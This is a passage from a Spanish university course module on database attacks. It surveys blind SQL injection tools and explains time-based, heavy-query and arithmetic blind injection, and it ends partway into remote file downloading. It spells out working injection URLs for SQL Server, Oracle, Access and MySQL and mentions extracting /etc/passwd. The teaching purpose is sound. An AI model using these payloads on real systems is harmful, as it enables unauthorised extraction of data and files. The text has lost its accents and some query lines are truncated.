    En la siguiente imagen se ve cmo se puede descargar el fichero /etc/passwda partir de una vulnerabilidad Blind SQL Injection usando mysqlget:

    Figura 11: fichero /etc/passwd

    3) mysqlst: Esta herramienta se utiliza para volcar los datos de una tabla.Primero se consulta el diccionario de datos para extraer el nmero de campos,los nombres, los tipos de datos de cada campo y por ltimo, el volcado delas filas.

    2.4.4. Bfsql

    Es la evolucin de SQLBfTools, cuando illo la abandon. Ramos, actualmen-te trabajando en la empresa Espaola SIA, la migr al lenguaje Perl en pocoms de 500 lneas. La herramienta sigue utilizando el sistema de palabra claveen valores positivos. La herramienta no pide la intervencin del usuario pa-ra averiguar cul es la palabra clave, sino que realiza peticiones con inyeccio-nes de cambio de comportamiento cero e inyecciones de cambio de compor-tamiento positivo. Recibe las respuestas, un archivo de respuesta para el valor

  • CC-BY-NC-ND PID_00191663 23 Ataques a BB. DD., SQL Injection

    correcto y otro archivo para el valor incorrecto, y las compara lnea a lneabuscando la primera diferencia. A partir de ese momento realiza peticiones ymira a ver a qu valor corresponde.

    La herramienta es de cdigo abierto y la ltima versin, de julio del 2006, estdisponible para todo el mundo.

    2.4.5. SQL PowerInjector

    Esta herramienta est escrita en .NET por Francois Larouche y ha sido liberadaen el ao 2006. SQL PowerInjector utiliza tcnicas de SQL Injection tradicio-nales basadas en mensajes de error y tcnicas de Blind SQL Injection usandodos sistemas. Comparacin de resultados completos, equivalente a realizar unHASH MD5 de la pgina de resultados o bien, para los motores de MicrosoftSQL Server, y solo para esos motores, tambin se puede realizar utilizando elsistema basado en tiempos con WAIT FOR (o time delay) descrito por ChrishAnley en (more) Advanced SQL Injection. Para los motores de Oracle utili-za tambin, desde mayo del 2007, una inyeccin basada en tiempos llaman-do a los procedimientos almacenados de Oracle DBMS_LOCK y utilizando lasfunciones de benchmark para generar retardos en MySQL. La herramienta noayuda a buscar parmetros vulnerables y se maneja mediante una trabajadainterfaz grfica.

    Figura 12. Extraccin SQL PowerInjector

    La herramienta est adaptada a MS SQL Server, Oracle, MySQL y Sybase, esde cdigo abierto y est disponible para descarga en la siguiente URL: http://www.sqlpowerinjector.com

    2.4.6. SQLiBF

    Herramienta publicada en el ao 2006, desarrollada por DarkRaven, un con-sultor de seguridad afincado en Murcia. Est pensada y adaptada para basesde datos genricas, pero tambin para bases de datos especficas, en las querealiza comprobaciones de inyeccin de comportamiento cero. A diferencia deotras, realiza tests de comprobacin para saber si un parmetro es vulnerable,basados en nmero de lneas, nmero de palabras o palabra clave.

  • CC-BY-NC-ND PID_00191663 24 Ataques a BB. DD., SQL Injection

    La herramienta tiene como curiosidad tambin la bsqueda de terminadoresde expresiones con parntesis para poder completar las inyecciones correcta-mente. Es una herramienta de software libre.

    Figura 13. SQLiBF descubriendo por Blind SQL Injection el usuario de la aplicacin

    2.4.7. Web Inspect

    Esta herramienta se comercializa por la empresa SPI Dynamics desde el ao2005 y est mantenida bajo los estudios de Kevin Spett. Al ser una herramien-ta comercial, no se dispone del cdigo y solo se conoce su funcionamientosobre la base de las especificaciones del producto y de cmo es descrita en eldocumento Blind SQL Injection. Are you web applications vulnerable?.

    Funciona utilizando comprobaciones de error basadas en firmas, pero no sesabe si la aplicacin utiliza la automatizacin basada en palabras clave. Lo queno aparece descrito en ningn apartado de las caractersticas es la utilizacinde automatismos basados en tiempo.

    Esta herramienta es una herramienta de carcter general en cuanto a seguridadde aplicaciones y est pensada para buscar todo tipo de vulnerabilidades.

    2.4.8. Acunetix Web Vulnerability Scanner

    Acunnetix es una herramienta para la auditora de aplicaciones web de formaautomtica. En la versin 4 de la herramienta se aadieron mdulos para ladeteccin de vulnerabilidades Blind SQL Injection y Blind XPath Injection.Esta herramienta es una buena alternativa para realizar la comprobacin de laseguridad de vuestra aplicacin web, incluso para vulnerabilidades a ciegas.

  • CC-BY-NC-ND PID_00191663 25 Ataques a BB. DD., SQL Injection

    Figura 14: Configuracin mdulo Blind SQL Injection/Blind XPath Injection para Acunetix WebVulnerability Scanner4

    2.5. Proteccin contra Blind SQL Injection

    Las protecciones para SQL Injection son las mismas que contra SQL Injection.Cmo hacerlo?, pues comprobando absolutamente todo. Hoy en da, en to-dos los documentos tcnicos en los que se evala el desarrollo de aplicacionesseguras est disponible un amplio estudio sobre cmo desarrollar protegiendolos programas contra la inyeccin de cdigo.

    Michael Howard, uno de los padres del modelo SDL (secure development lifecy-cle) utilizado por Microsoft en el desarrollo de sus ltimas tecnologas y escri-tor del libro Writting Secure Code (2. edicin) dedica todo un tema a evitar lainyeccin de cdigo y lo titula de forma muy personal: All Input Is Evil! Untilproven otherwise.

    Adems, casi todos los fabricantes o responsables de lenguajes de programa-cin de aplicaciones web ofrecen mejores prcticas para el desarrollo seguro,dando recomendaciones claras y concisas para evitar la inyeccin de cdigo.As que a comprobarlo todo!

    Toda consulta que se vaya a lanzar contra la base de datos y cuyos parmetrosvengan desde el usuario, no importa si en principio van a ser modificados ono por el usuario, debe ser comprobada y realizar funciones de tratamientopara todos los casos posibles. Hay que prever que todos los parmetros puedenser modificados y traer valores maliciosos. Se recomienda utilizar cdigos queejecuten consultas ya precompiladas para evitar que interacte con los par-metros de los usuarios.

    Asimismo, como se ha visto, los atacantes intentan realizar ingeniera inversay extraer informacin de las aplicaciones sobre la base de los mensajes o tra-tamientos de error. Es importante que se controlen absolutamente todas las

  • CC-BY-NC-ND PID_00191663 26 Ataques a BB. DD., SQL Injection

    posibilidades que puedan generar error en cualquier procedimiento por partedel programador. Para cada accin de error se debe realizar un tratamiento se-guro del mismo y evitar dar ninguna informacin til a un posible atacante.

    Es recomendable que los errores, tanto los errores de aplicacin como los deservidor, se auditen, pues puede representar un fallo en el funcionamientonormal del programa o un intento de ataque. Se puede afirmar que casi el100% de los atacantes a un sistema van a generar algn error en la aplicacin.

  • CC-BY-NC-ND PID_00191663 27 Ataques a BB. DD., SQL Injection

    3. Blind SQL Injection basndose en tiempos

    A las tcnicas que automatizan la extraccin de informacin a ciegas usandoretardos de tiempo se las conoce como Time-Based Blind SQL Injection y hanido especializndose en diferentes tecnologas de bases de datos para generarestos retardos. As, por ejemplo, la herramienta SQL Ninja utiliza el sistemade tiempos descrito por Chrish Anley en aplicaciones web que utilizan mo-tores de base de datos Microsoft SQL Server. Otras herramientas como SQLPower Injector utilizan el sistema de inyectar funciones benchmark, que gene-ran retardos en motores de bases de datos MySQL o inyectar la llamada a lafuncin PL/SQL DBMS_LOCK.SLEEP(time) en sistemas con motores Oracle.Para otros sistemas de bases de datos como Access o DB2 no existe forma si-milar de generar retardos de tiempo. Los mtodos de generar estos retardosde tiempo quedan por tanto bastante restringidos. En primer lugar, para Ac-cess, DB2 y otros motores de bases de datos no se conoce ninguna forma; ensegundo lugar, para hacerlo en motores Oracle se necesita acceso a una inyec-cin PL/SQL que no es comn encontrarse con un entorno que lo permita y,por ltimo, los sistemas de fortificacin suelen tener en cuenta la restriccindel uso de funciones benchmark en entornos MySQL y waitfor en entornosMicrosoft SQL Server.

    La booleanizacin consiste en cmo extraer un dato mediante unasecuencia de condiciones booleanas que devuelve true o false. El trminoviene del documento Blind XPath Injection de Amit Klein.

    Por ejemplo, supongamos que queremos extraer el valor del campo usernamede la vista all_users en un motor Oracle y este valor es sys. El procesode booleanizacin sera el siguiente:

    255>(Select ASCII(Substr(username,1,1)) from all_users where rownum True [255 > ASCII('s')=115]

    122>(Select ASCII(Substr(username,1,1)) from all_users where rownum True [122 > ASCII('s')=115]

    61>(Select ASCII(Substr(username,1,1)) from all_users where rownum False [61 < ASCII('s')=115]

    92>(Select ASCII(Substr(username,1,1)) from all_users where rownum False [92 < ASCII('s')=115]

    107>(Select ASCII(Substr(username,1,1)) from all_users where rownum False [107 < ASCII('s')=115]

    115>(Select ASCII(Substr(username,1,1)) from all_users where rownum False [115 = ASCII('s')=115]

    119>(Select ASCII(Substr(username,1,1)) from all_users where rownum

  • CC-BY-NC-ND PID_00191663 28 Ataques a BB. DD., SQL Injection

    -> True [119 < ASCII('s')=115]

    117>(Select ASCII(Substr(username,1,1)) from all_users where rownum True [117 < ASCII('s')=115]

    116>(Select ASCII(Substr(username,1,1)) from all_users where rownum True [116 < ASCII('s')=115]

    En este punto se ha averiguado que el valor ASCII de la primera letra del nom-bre es 115, ya que no es mayor que 115 y es menor que 116. Y se pasara arealizar el mismo proceso con la segunda letra. Como se puede ver, el procesova a exigir una serie de repeticin de peticiones para cada valor, pero al finalse obtiene el resultado. El problema, como se explica al principio de este apar-tado, es determinar cundo la respuesta es true y cuando es false.

    3.1. Time-Based Blind SQL Injection

    Hasta el momento, los sistemas que se conocan para extraer informacin es-taban basados en las funciones que ofreca cada motor de bases de datos, as,por ejemplo, en una aplicacin web que utilice Microsoft SQL Server podrarealizarse una inyeccin como la siguiente:

    http://servidor/prog.cod?id=1; if (exists(select * from contrasena)) waitfor delay '0:0:5'-

    Esta consulta, en el caso de existir la tabla contrasena y tener algn registro,va a pausar la respuesta de la pgina web un tiempo de 5 segundos. Si la res-puesta se obtiene en un periodo inferior podemos inferir que la tabla contra-sena existe y tiene algn registro. La misma idea puede ser utilizada para unaaplicacin con Oracle:

    http://servidor/prog.cod?id=1; begin if (condicion) then dbms_lock.sleep(5); end if; end;

    Y con MySQL, usando por ejemplo la funcin benchmark del ejemplo, quesuele tardar unos 6 segundos en procesarse o la funcin Sleep(), que ya vieneen las versiones 5 de MySQL.

    http://servidor/prog.cod?id=1 and exists(select * from contrasena) and

    benchmark(5000000,md5(rand()))=0

    http://servidor/prog.cod?id=1 and exists(select * from contrasena) and sleep(5)

    3.2. Heavy Queries

    Las consultas pesadas (heavy queries) han sido y siguen siendo un quebraderode cabeza en la optimizacin de sistemas de bases de datos. Un motor puedealmacenar cantidades de informacin tan grandes y con tal cantidad de usua-rios que si no se optimizaran las bases de datos dejaran de ser tiles. Los ajus-tes de rendimiento son constantes en los grandes sistemas de bases de datospara conseguir mejorar los tiempos de respuesta. Con los aos los motores de

  • CC-BY-NC-ND PID_00191663 29 Ataques a BB. DD., SQL Injection

    bases de datos han ido evolucionando para que sean ellos los que optimicenlas consultas que generan los programadores y no al contrario como se hacaantao, aunque hay algunos motores que siguen requiriendo del programa-dor para optimizar una consulta. Es decir, supongamos una consulta Selectcomo la siguiente:

    Select campos from tablas where condicion_1 and condicion_2;

    Con qu orden evaluar las condiciones para que se ejecute esta consulta y elsistema lo ms rpido posible? En este ejemplo, al utilizar una condicin AND,si la primera condicin que evaluamos da como resultado un valor FALSO elmotor ya no tiene que evaluar la otra. Si hubiera sido un operador OR el fun-cionamiento hubiera sido al contrario, es decir, si la primera da VERDADEROya no hay que evaluar la segunda condicin. La conclusin vara en cada mo-tor de bases de datos. En algunos se establece una precedencia y se hace recaerla optimizacin sobre el programador. Es decir, se evalan las condiciones deizquierda a derecha o de derecha a izquierda y es responsabilidad del progra-mador elegir el orden de evaluacin en funcin de la probabilidad de obte-ner el resultado en menos tiempo. Si por ejemplo se estima que en evaluar lacondicion_1 el motor tarda 6 segundos y en evaluar la condicion_2 unos2 segundos y el motor utiliza precedencia por la izquierda entonces habr quesituar a la izquierda la condicin de menos tiempo. Para entenderlo vamos aver la tabla de tiempos posibles:

    Condicin_1(6 segundos)

    Condicin_2(2 segundos)

    Condicin_1& Condicin_2

    Tiempo repuesto

    TRUE FALSE FALSE 8 segundos

    TRUE TRUE FALSE 8 segundos

    FALSE No se evala FALSE 6 segundos

    Tabla con la condicion_1 (la pesada) a la izquierda

    Condicin_2(2 segundos)

    Condicin_1(6 segundos)

    Condicin_1& Condicin_2

    Tiempo repuesto

    TRUE FALSE FALSE 8 segundos

    TRUE TRUE FALSE 8 segundos

    FALSE No se evala FALSE 2 segundos

    Tabla con la condicion_2 (la ligera) a la izquierda

    Como se puede ver, en una probabilidad similarmente distribuida de que cadacondicin pueda tomar valores true o false, es ms ptimo evaluar siempreprimero la consulta ligera. Esto puede cambiar en funcin de las densidades.Es decir, en una clausula Where con operador AND en la que la condicin ligeratenga una probabilidad del 99% de ser true y la pesada una probabilidad del5% de ser true puede ser ms eficiente utilizar una precedencia distinta.

  • CC-BY-NC-ND PID_00191663 30 Ataques a BB. DD., SQL Injection

    Motores como Microsoft SQL Server u Oracle implementan optimizacin deconsultas en tiempo de ejecucin. Es decir, analizan las condiciones que poneel programador y eligen el orden de ejecucin correcto segn su estimacin.Para ello utilizan reglas bsicas, avanzadas e incluso datos estadsticos de lastablas de la base de datos en concreto.

    3.2.1. Cmo generar consultas pesadas

    La forma ms sencilla de generar consultas pesadas es usar lo que ms hacetrabajar a las bases de datos, los productos cartesianos de tablas, es decir, uniruna tabla con otra y con otra hasta generar una cantidad de registros tan gran-de que obliguen al servidor a consumir un tiempo medible en procesarlo. Pa-ra ello basta con conocer, averiguar o adivinar una tabla del sistema de basesde datos, que tenga algn registro, y unirla consigo misma hasta generar untiempo medible. Vamos a ver algunos ejemplos.

    Oracle

    La siguiente consulta, lanzada contra un servidor de pruebas, muestra el pri-mer select la consulta pesada y el segundo la consulta de la que deseamosaveriguar la respuesta. Lgicamente, en este caso, la respuesta ha de ser truepues hemos utilizado el valor 300 que es mayor que cualquier valor ASCII:

    http://blind.elladodelmal.com/oracle/pista.aspx?id_pista=1 and (select count(*)

    from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0 and

    300>ascii(SUBSTR((select username from all_users where rownum = 1),1,1))

    Lanzando esta consulta con la utilidad wget podemos ver una medicin detiempos:

    Figura 15. La consulta dura 22 segundos, luego la respuesta es VERDADERO.

    Si forzamos que la segunda condicin, la ligera, valga FALSO, en este casopreguntando si 0 es mayor que el valor ASCII de la primera letra, podremoscomprobar cmo la consulta pesada no se ejecuta y el tiempo de respuesta esmenor.

  • CC-BY-NC-ND PID_00191663 31 Ataques a BB. DD., SQL Injection

    Figura 16. La consulta dura 1 segundo, luego la respuesta es FALSO.

    Como se puede ver en la consulta generada, se ha utilizado 5 veces la vistaall_users, pero esto no quiere decir que sea el nmero de tablas que debanutilizarse para todas las bases de datos Oracle, ya que el retardo de tiempodepender de la configuracin del servidor y el nmero de registros que tengala tabla. Lo que es absolutamente cierto es que se puede medir un retardo detiempo y puede automatizarse este sistema.

    Microsoft Access

    Los motores Microsoft Access no tienen funciones de retardo de tiempo, perolas bases de datos Access tienen un pequeo diccionario de datos compuestopor una serie de tablas. En las versiones de Microsoft Access 97 y 2000 es po-sible acceder a la tabla MSysAccessObjects y las versiones 2003 y 2007 a latabla MSysAccessStorage y generar, mediante uniones de estas tablas con-sultas pesadas que generen retardos de tiempos medibles. Por ejemplo, parauna base de datos con Access 2003, podramos ejecutar la siguiente consulta:

    http://blind.access2007.foo/Blind3/pista.aspx?id_pista=1 and (SELECT count(*)

    from MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3,

    MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists

    (select * from contrasena)

    El primer Select es la consulta pesada y el segundo la consulta de la quequeremos respuesta, es decir, si existe la tabla llamada contrasena. Como sepuede ver en la captura realizada con la utilidad wget la consulta dura 39 se-gundos, luego, la consulta pesada, en este caso muy pesada para este entorno,se ha ejecutado por lo que el valor es VERDADERO, la tabla contrasena exis-te y tiene registros.

    Figura 17. La consulta dura 39 segundos, luego la respuesta es VERDADERO.

  • CC-BY-NC-ND PID_00191663 32 Ataques a BB. DD., SQL Injection

    Para comprobarlo realizamos la negacin de la consulta ligera y medimos eltiempo de respuesta:

    Figura 18. La consulta dura menos de 1 segundo, luego la respuesta es FALSO.

    MySQL

    En las versiones 5.x de los motores MySQL es posible conocer a priori un mon-tn de tablas de acceso, de la misma forma que sucede en todos los sistemasque tienen diccionarios de datos. En el caso de MySQL se pueden generar con-sultas pesadas utilizando cualquiera de las tablas de Information_schema,como por ejemplo la tabla columns.

    http://blind.mysql5.foo/pista.aspx?id_pista=1 and exists (select * from

    contrasena) and 300 > (select count(*) from information_schema.columns,

    information_schema.columns T1, information_schema T2)

    El primer select la consulta pesada y el segundo la consulta de la que se deseauna respuesta VERDADERA o FALSA.

    En las versiones 4.x y anteriores la eleccin de la tabla debe ser conocida oadivinada ya que no comparten un catlogo que por defecto sea accesible des-de fuera.

    Microsoft SQL Server

    Con los motores de bases de datos Microsoft SQL Server se cuenta con undiccionario de datos por cada base de datos y adems un diccionario globaldel servidor mantenido en la base de datos mster. Para generar una consultapesada se puede intentar utilizar cualquier tabla de esas, como por ejemplo lastablas sysusers, sysobjects o syscolumns. El ejemplo siguiente muestrauna consulta pesada (primer select) para un motor Microsoft SQL Server2000, y el segundo select la consulta que queremos que nos responda:

    http://blind.sqlserver2k.foo/blind2/pista.aspx?id_pista=1 and (SELECT count(*)

    FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4,

    sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0 and

    100>(select top 1 ascii(substring(name,1,1)) from sysusers)

  • CC-BY-NC-ND PID_00191663 33 Ataques a BB. DD., SQL Injection

    Otros motores de bases de datos

    El mtodo funciona de igual forma en otros motores de bases de datos. Al finalla idea es sencilla, hacer trabajar el motor de base de datos usando tcnicasde anti optimizacin. Como la explotacin depende del entorno es necesarioun proceso de ajuste de la consulta pesada para cada entorno y adems, al serbasado en tiempos, hay que tener en cuenta las caractersticas del medio detransmisin. Siempre es recomendable realizar varias pruebas para comprobarque los resultados son correctos.

    3.2.2. Contramedidas

    Evitar estas tcnicas es lo mismo que evitar las vulnerabilidades de SQL Injec-tion. Para evitar que una aplicacin sea vulnerable a ellas se han escrito y esfcil encontrar guas de precauciones a seguir y cmo hacerlo en cada lenguajede programacin en concreto.

    Lgicamente no son perfectas y se necesita de un programador experimentadoy preparado para el desarrollo seguro de aplicaciones, pero s son un apoyoms.

    Fxcop

    Herramientas como Fxcop ayudan a detectar las vulnerabilidades mediante el anlisisdel cdigo. Existen mltiples herramientas de este tipo y especializadas en distintos len-guajes.

    Anlisis esttico de cdigo

    Las herramientas de anlisis es-ttico de cdigo son una ayu-da ms al ojo del programadora la hora de evitar vulnerabili-dades en el cdigo.

  • CC-BY-NC-ND PID_00191663 34 Ataques a BB. DD., SQL Injection

    4. Arithmetic Blind SQL Injection

    Otra de las limitaciones de los ataques a ciegas viene impuesta por la posibili-dad de inyectar o no dentro de una aplicacin web. Hasta el momento existenciertos entornos en los que, aunque el parmetro es vulnerable a inyeccin decdigo, la inyeccin prctica para la extraccin de datos no es posible. Esto esdebido al entorno concreto donde se encuentra la vulnerabilidad y la limita-cin concreta en la inyeccin.

    Uno de estos entornos clsicos es la inyeccin de procedimientos matemticosen los que no hay posibilidad de inyectar cdigo para crear una lgica boolea-na. Hasta el momento, la explotacin mediante tcnicas a ciegas se realiza conla base de construir inyecciones de cambio de comportamiento cero y cambiode comportamiento positivo utilizando los operadores relacionales OR y AND,pero hay entornos donde esto no va a ser posible.

    Supongamos una aplicacin web que recibe un parmetro numrico id queva a utilizar dos consultas SQL. Estas dos consultas utilizan un factor de anida-miento de parntesis distinto y la aplicacin no devuelve ningn resultadohasta que no se han procesado las dos consultas SQL. Es decir, el cliente de laaplicacin web no recibir ningn dato hasta que ambas hayan terminado. Elesquema sera el siguiente:

    Recibir_parametro(id)

    Select c1 from tabla1 where id=id

    Select c2 from tabla2 where id=abs(id)

    Devolver_datos()

    Esta sencilla estructura hace que no sea posible conseguir una inyeccin decomandos SQL que sea sintcticamente vlida en las dos instrucciones SQL siestas necesitan el uso de operadores lgicos AND u OR.

    Una inyeccin del tipo 1 AND 1=1 ser correcta en la primera consulta SQLpero no en la segunda. Una inyeccin que sea sintcticamente correcta en lasegunda, como por ejemplo 1 and (1=1, dar error en la primera consulta.

    En estos entornos se hace necesario construir la lgica booleana de extraccinde datos utilizando operaciones matemticas. Veamos algunos ejemplos:

    1)Ejemplodedivisinpor0

  • CC-BY-NC-ND PID_00191663 35 Ataques a BB. DD., SQL Injection

    Este mtodo fue explicado por David Litchfield en el ao 2000 y hasta hoyera el nico vlido para resolver esta indeterminacin. El objetivo es conseguirun error de base de datos cuando la condicin sea cierta. Para ello, la inyec-cin de cambio de comportamiento cero ser 1/1 y la inyeccin de cambio decomportamiento positivo ser 1/0.

    Primero hay que analizar cul es el comportamiento normal de la aplicacinsin que se produzca ninguna inyeccin de comandos SQL.

    Figura 19. La aplicacin muestra una noticia

    Como se puede apreciar, la aplicacin muestra, en su comportamiento normal,una noticia.

    Si se intenta realizar una inyeccin de comportamiento cero como las pro-puestas en los entornos tradicionales, se puede apreciar que la aplicacin ge-nera un error. Esto es debido a que sintcticamente no es correcta pues el pa-rmetro est introducido en un procedimiento matemtico tal y como se hailustrado en este apartado.

  • CC-BY-NC-ND PID_00191663 36 Ataques a BB. DD., SQL Injection

    Figura 20. Inyeccin en procedimiento matemtico

    Es por tanto necesario establecer una lgica con inyecciones de cambio decomportamiento cero y cambio de comportamiento positivo sin utilizar ope-radores lgicos. Si se inyecta 1/1 se ver que la aplicacin funciona correcta-mente sin que se haya producido ninguna alteracin en su comportamiento.

    Figura 21. Inyeccin de cambio de comportamiento cero

    La inyeccin 1/1 genera un cambio de comportamiento cero debido a que1/1 devuelve 1 en el lenguaje SQL. Esto funciona de esta manera porque elmotor de base de datos est ejecutando la operacin matemtica de divisinentera con los valores 1 y 1. Sin embargo, si se cambia el valor del divisor porun 0 se estar incurriendo en una divisin por cero que genera una excepcinen todos los motores de bases de datos.

  • CC-BY-NC-ND PID_00191663 37 Ataques a BB. DD., SQL Injection

    Figura 22. Excepcin producida por el intento de divisin por cero

    A partir de este entorno, ya es posible establecer toda una lgica para obtenerlos datos de la base de datos. En este entorno el primer usuario de la tablasysusers es dbo, luego el valor ASCII de su primera letra, la d, es 100. Sise realiza una inyeccin como la siguiente:

    id=1-(0/(select top 1 ascii(substring(name,1,1))-99 from sysusers order by name asc))

    se estara inyectando algo igual a id=1-(0/100-99), o lo que es lo mismoid=1-0 o directamente id=1. Cualquier valor que se reste al valor ASCII de laletra buscada que no sea exactamente el valor de la letra dejar la consulta sincambios. Lo que significar que el valor no es el buscado.

    Figura 23. El valor buscado no es 99

    Por el contrario, si en este entorno se introduce el valor 100, es decir, hacien-do que se cumpla la condicin de igualdad entre el valor buscado y el valorprobado, se puede observar que se obtiene una excepcin de divisin por ceroque significa la confirmacin de la condicin.

  • CC-BY-NC-ND PID_00191663 38 Ataques a BB. DD., SQL Injection

    Figura 24. Excepcin de divisin por cero.

    2)Ejemplodedesbordamientodebuffer

    Otra de las formas de construir una lgica binaria en este entorno es utilizarlos errores de desbordamiento de tipo como inyeccin de cambio de compor-tamiento positivo. El objetivo es sumar un valor al parmetro que desbordeel tipo de dato del parmetro si la condicin es cierta, para ello, se puedenprobar las inyecciones de cambio de comportamiento positivo simplementesumando un valor que desborde el tipo de datos.

    En este entorno id=1-(99999999999999999*9999999999999999999)desbordar el tipo de datos del parmetro id y se obtendr un mensaje de error.

    Figura 25. El parmetro id desbordado genera un error

    A partir de este entorno se podra construir toda la lgica y extraer la infor-macin de igual forma que con el ejemplo de la divisin por cero. As, paraobtener el valor ASCII de la primera letra del nombre del primer usuario en latabla sysusers, se puede construir una consulta como:

    id=1-((contador/(select top 1 ASCII(substring(name,1,1)) from sysusers order by name asc))

  • CC-BY-NC-ND PID_00191663 39 Ataques a BB. DD., SQL Injection

    *(99999999999999999*9999999999999999999))

    El valor de contador ir creciendo desde 1 hasta que se iguale con el valorASCII del valor que se est buscando. Mientras contador sea menor, la divisingenerar un valor 0 que anular las constantes que desbordan el tipo del pa-rmetro vulnerable.

    Figura 26. El parmetro no es desbordado porque la divisin vale 0

    Sin embargo, en el momento en que el valor de contador se iguala con el valorASCII que se est buscando, se obtiene un mensaje de error que indica que lacondicin es cierta.

    Figura 27. El tipo de datos se desborda cuando la condicin es cierta

    Como se puede apreciar, el desbordamiento de tipos de datos es igual de vlidopara la explotacin a ciegas en estos entornos.

    3)Ejemplodesumasyrestas

    Una tercera forma de explotar las vulnerabilidades de inyeccin de cdigo SQLen funciones matemticas consiste en utilizar la aplicacin como si fuese unamquina de Touring. El objetivo es marcar la posicin actual como el valor

  • CC-BY-NC-ND PID_00191663 40 Ataques a BB. DD., SQL Injection

    cierto. Despus se suma el valor buscado al parmetro vulnerable y se restael valor de un contador. La condicin ser cierta cuando se obtenga la noticaoriginal.

    En este entorno se podra obtener, al igual que en los ejemplos anteriores, elvalor de ASCII de la primera letra del primer usuario de la tabla sysusers conla siguiente inyeccin:

    Id=1-(-(select top 1 ascii(substring(name,1,1)) from sysusers order by name asc))-contador

    En este entorno, mientras que contador no se iguale con el valor buscado,se estarn pasando otros valores distintos al parmetro id e irn apareciendodistintos resultados.

    Figura 28. Resultados obtenido equivalente a id=2

    Solo cuando se iguale el valor de contador con el valor buscado se obtendrla respuesta original. De esta sencilla forma ser posible establecer respuestasdistintas a condiciones ciertas y condiciones falsas para extraer toda la infor-macin de la base de datos.

    Figura 29. Respuesta original obtenida va sumas y restas

  • CC-BY-NC-ND PID_00191663 41 Ataques a BB. DD., SQL Injection

    Como se ha podido ver con estas tcnicas, es posible, mediante operacionesmatemticas, extraer la informacin. No ha sido necesario utilizar los opera-dores lgicos AND u OR pero de igual forma se puede construir la lgica binarianecesaria para extraer toda la informacin.

    4.1. Remote File Downloading

    El presente punto es una vuelta de tuerca al SQL Injection para extraer, en estecaso, ficheros del servidor donde est instalado el motor de las bases de datos.Para que entendamos de qu trata el trabajo, tomemos el siguiente ejemplo:Supongamos un cliente A que se conecta a una aplicacin web vulnerable aBlind SQL Injection B. Supongamos que esta aplicacin vulnerable se conectaa un motor de base de datos que se ejecuta sobre el servidor C. Una vez enten-dido quin es A, quin es B y quin es C, la idea es tan sencilla como que fi-cheros de C sean descargados a A. Estos ficheros pueden ser tan famosos comoboot.ini, el fichero sam, /etc/passwd o tan anodinos como datos.dat.

    En las partes que ocupar este trabajo se analizar en detalle cmo se pue-de perpetrar un RFD, es decir, una descarga remota de un fichero, utilizandoBlind SQL Injection. Para ello se analizar la metodologa de trabajo, lascaractersticas de cada uno de los motores que se van a tratar, a saber: MicrosoftSQL Server 2000, 2005 y 2008, Oracle versiones "i" y "g" y MySQL. Adems, fi-nalizaremos con un recorrido de las herramientas existentes y algunas opcio-nes de fortificacin y securizacin del entorno. As que, si os apetece descubrircmo se hace, comencemos por el principio.

    4.2. Booleanizacin de datos

    Para poder extraer informacin de una base de datos mediante un ataqueBlind SQL Injection es necesario ser capaz de evaluar las respuestas delsistema y definir una clasificacin entre respuestas verdaderas o falsas. Las res-puestas verdaderas sern aquellas que corresponden al comportamiento de laaplicacin web tras la ejecucin de una consulta en la que se ha inyectadouna condicin lgica verdadera, por ejemplo: and 1=1 y las respuestas fal-sas correspondern al comportamiento de la aplicacin ante la ejecucin deuna consulta en la que se inyecta una lgica falsa, por ejemplo: and 1=2.Al proceso de formular el criterio de decisin se le llama booleanizacin, conindependencia de cul sea el aspecto del comportamiento de la aplicacin aconsiderar para construir dicho criterio.

    Teniendo en cuenta el tipo de dato que se defina para cada parmetro de la basede datos, la booleanizacin de un dato de tipo numrico se realiza mediante eluso de comparaciones de tipo mayor que o menor que entre el dato quese intenta inferir y unos ndices de referencia. Implementando un algoritmode bsqueda binaria entre los lmites del tipo de datos se puede llegar a inferirel resultado solo obteniendo respuestas verdadero o falso.

  • CC-BY-NC-ND PID_00191663 42 Ataques a BB. DD., SQL Injection

    Si el dato al que se desea acceder es de tipo alfanumrico, el proceso de boo-leanizacin requiere que la inferencia se realice carcter a carcter, es decir,si el dato es de diez caracteres de longitud entonces el proceso consistir enrepetir diez veces la inferencia de un carcter. Para realizar la inferencia de uncarcter este se transforma en su valor ASCII equivalente. Una vez convertidoel carcter en un valor numrico, su inferencia se realiza como se ha descritoen el proceso de booleanizacin de datos numricos. Por ejemplo, se suponeque se desea extraer el valor del campo username de la vista all_users enun motor Oracle y este valor es sys. Teniendo en cuenta que el valor ASCIIde la primera letra, es decir, la s es el 115, el proceso de booleanizacin serael siguiente:

    255>(Select ASCII(Substr(username,1,1)) from all_users where rownum TRUE

    128>(Select ASCII(Substr(username,1,1)) from all_users where rownum TRUE

    64>(Select ASCII(Substr(username,1,1)) from all_users where rownum FALSE

    96>(Select ASCII(Substr(username,1,1)) from all_users where rownum FALSE

    112>(Select ASCII(Substr(username,1,1)) from all_users where rownum FALSE

    120>(Select ASCII(Substr(username,1,1)) from all_users where rownum TRUE

    116>(Select ASCII(Substr(username,1,1)) from all_users where rownum TRUE

    114>(Select ASCII(Substr(username,1,1)) from all_users where rownum FALSE

    115>(Select ASCII(Substr(username,1,1)) from all_users where rownum TRUE

    En este punto se ha averiguado que el valor ASCII de la primera letra del nom-bre es 115, ya que no es mayor que 115 y es menor que 116. Y se pasara arealizar el mismo proceso con la segunda letra. Se trata de un proceso iterativo,en ocasiones costoso, que finalmente permite obtener el resultado buscado.

    El tratamiento de ficheros en el servidor depende de cada motor de bases dedatos que se est utilizando. Es necesario conocer el motor de base de datos yla versin para intentar la descarga de ficheros mediante un proceso de boo-leanizacin. Los motores de bases de datos modernos incorporan diferentesmecanismos para acceder a los ficheros del sistema operativo. Estos mecanis-mos, muy tiles en el desarrollo de aplicaciones, pueden volverse peligrosos sila configuracin de seguridad en el motor de base de datos no es la adecuada.

    4.3. Metodologa de trabajo

    Una vez que se han descrito los conceptos fundamentales para la extraccinde datos mediante la tcnica de booleanizacin, es posible proponer una me-todologa para la evaluacin de la vulnerabilidad de una aplicacin frente ata-ques de Blind SQL Injection para la extraccin de ficheros. La secuencia depasos debera ser la siguiente:

